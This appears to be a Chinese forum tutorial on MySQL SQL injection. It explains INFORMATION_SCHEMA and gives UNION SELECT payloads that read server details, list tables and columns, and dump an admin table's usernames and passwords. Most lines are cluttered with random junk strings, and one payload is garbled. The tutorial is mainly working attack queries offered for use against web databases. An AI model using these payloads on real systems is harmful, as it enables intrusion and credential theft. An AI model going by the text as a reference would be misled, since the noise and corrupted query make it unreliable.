本文介绍MYSQL盲注的一些语句和方法
! J4 P* ]4 q# M6 }, S$ a B9 C7 _
学习盲注前先了解下 IFORMATION_SCHEMA 库
$ X" `$ q) o1 I7 v$ Y
0 j: j. R& ], Z0 [0 t/ eMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
e7 O% r2 S! c j9 ^! `存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
" |7 c) F$ l$ y( j) V/ e# d1.得到所有数据库名:, E# Y$ J7 Y4 w) d% x
|SCHEMATA ->存储数据库名的表" C( ]+ O2 J5 W" V- \4 p
|---字段:SCHEMA_NAME ->数据库名称
: D. T H6 ~5 z4 m# i
# B$ ^6 C4 e( p, @( W3 G|TABLES ->存储表名% f( O( F) u% k, `4 e
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名9 m' ]8 G. Y, p" P% ~) B7 l3 k1 Z2 T
|---字段:TABLE_NAME ->存储表的表名
5 k/ x3 o: T7 r w6 Z# J6 p2 S, h! A. M1 |5 `6 l6 b
|COLUMNS ->存储的字段名表2 W1 _; {3 |4 Q) f& b& r- T
|---字段:TABLE_SCHEMA ->该字段所属数据库名( E& k' g7 d7 s0 E
|---字段:TABLE_NAME ->存储所属表的名称
4 z& i. i0 _4 A' D6 I& S9 \/ R
7 D, s6 W" `/ X% e5 s|---字段:COLUMN_NAME ->该字段的名称
* L! L! t6 n$ t6 m2 {; \* G1 S4 s8 d+ _- z I
( W) V! G4 a# w8 s/ A/ }5 P$ }' W! c \% Z9 t- |: A3 q- Z( b
###########################################################################
5 g: @1 K6 K- q) ] s8 f3 x
! h6 r9 U$ k* B! L; H# a4 ^& q0x001 获取系统信息:/ m' l- m: p4 l3 ? D w5 v
9 a: t1 [, x# S* x# ? j& m
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
/ V% q) `. i" T2 \' Y# }( P/ Y9 B7 a# U2 @, o1 W, j4 \1 @
/*! H/ K4 H- {( P; _3 r9 s
5 A4 ^; E8 E- D# k" l
@@global.version_compile_os 获取系统版本8 u" H# D' i8 q% M* [3 H) h
9 C1 I; H" O% ?1 A7 s! x8 [- t
@@datadir 数据库路径6 y0 \, }% T* f$ J" J7 C7 ?
database() 当前数据库名称0 @ m [7 B" ~' ]" [9 j
0x3c62723e 换行HEX值" u- S/ C/ e" S; u8 v& b
5 ]% ?% m6 E: R( ^0 P, c6 ?
*/4 }9 O% M* N# T! C3 @4 ]
3 [4 m' p: |0 b( j( m. }: C$ E) G- x
" {. B1 E$ ]5 I+ D/ z8 j6 V
5 M5 ]4 _. W2 b( P######################################################################
" f2 s3 h% K' c0 q. S$ |! s7 Z) Q6 |! w! |2 e, ^- n
0x002 获取表名0 f: o- W9 J) M' p
4 w; u5 U$ `) i( U6 Junion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*1 g5 e& R: W9 m2 }3 y6 _
! e Z7 Z6 i, V; C' ]" ?( F" [
9 A, ~/ y8 M, F6 s- J4 K0 l7 N
4 j x; I) |5 n3 k# q H9 O) ^
/*
( |' m: y0 h$ N: ^
' A$ p1 E/ i3 j5 Q7 E0x67617264656e 为当前数据库名
7 D3 @ [. b' P7 q0 o1 T4 M! V/ t$ j. S7 W; T: t9 a/ C
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
) c# r. }; I* s" Z# J
|5 [# X+ R2 y1 ], S k/ i5 S*/( b* N3 \' p ]
% i6 f# o; D$ M, a
######################################################################; Z& J( q/ `% n9 Q
6 @% i( T( c/ n# S
: D( V% c2 l+ o! n( ~$ A: C
. o0 _) ?; F7 G& B8 Q# H2 e# [0x003 获取字段
3 R) Z) ]% u/ F: I8 @ P) A9 r6 z3 h }) u
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*2 A3 H! Q3 j: m) o# N, O% e
+ b2 t! v4 K u* e5 T5 C8 R/*
; Q6 I7 Q6 M( A& |5 i7 Y$ E
9 M7 q. {3 ?) S& ]8 n8 ? Kgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段3 {' l% {9 ~9 b4 r
3 {( D; G7 l0 d; F- M$ C9 f# l0x61646d696e ->选择一个表
+ ?9 C. x% v1 R. {- K( F# H ]1 Y; f. E
0x67617264656e ->数据库名
9 `$ N$ b8 n, I/ z$ W8 K
; t2 C1 q$ q. |$ G: O*/! \+ f5 |$ H: w+ R: m, j( [+ j2 d
% b5 Q* \$ M, B1 e1 T3 U4 K" d$ d" t
#####################################################################5 z1 s) k5 o# y0 R2 E( _* O
: h2 c* H# p; C( F* n5 I
5 v' [7 l& J" R4 R4 v
" C I$ I7 w+ t4 H9 {7 h. D0x004 获取数据
4 A1 l/ g8 |+ h) z
+ X( Y h! i* E. o \1 ~. kunion select 1,2,3
: a/ S3 m w4 s$ y4 |8 [, i# a2 h3 U,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
# s) ^& C+ m0 i, J1 _" R) ~9 |% g" {
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
% b! h0 k3 f' O4 Z: d9 O5 O
4 m2 c. R1 s7 P
8 k z+ n( ]* p
" L% J9 M) ]) O/ x i1 G: `, ^/*
9 X* y! \* A3 L& u# _% s
. w8 Z! J# @/ ]8 G' ]4 f0x3c62723e 换行符号HEX编码
0 n6 n5 P$ K: \" f- R! ?# q0 ^% M0 T* q$ X8 V
group_concat 同时获得该字段所有数据
& k) h8 ]6 x1 p+ n/ p1 f A" l L
a# z' ?. y. V5 Q9 D' w*/% I$ B% n2 }1 P7 L
) b: z6 v, U) j |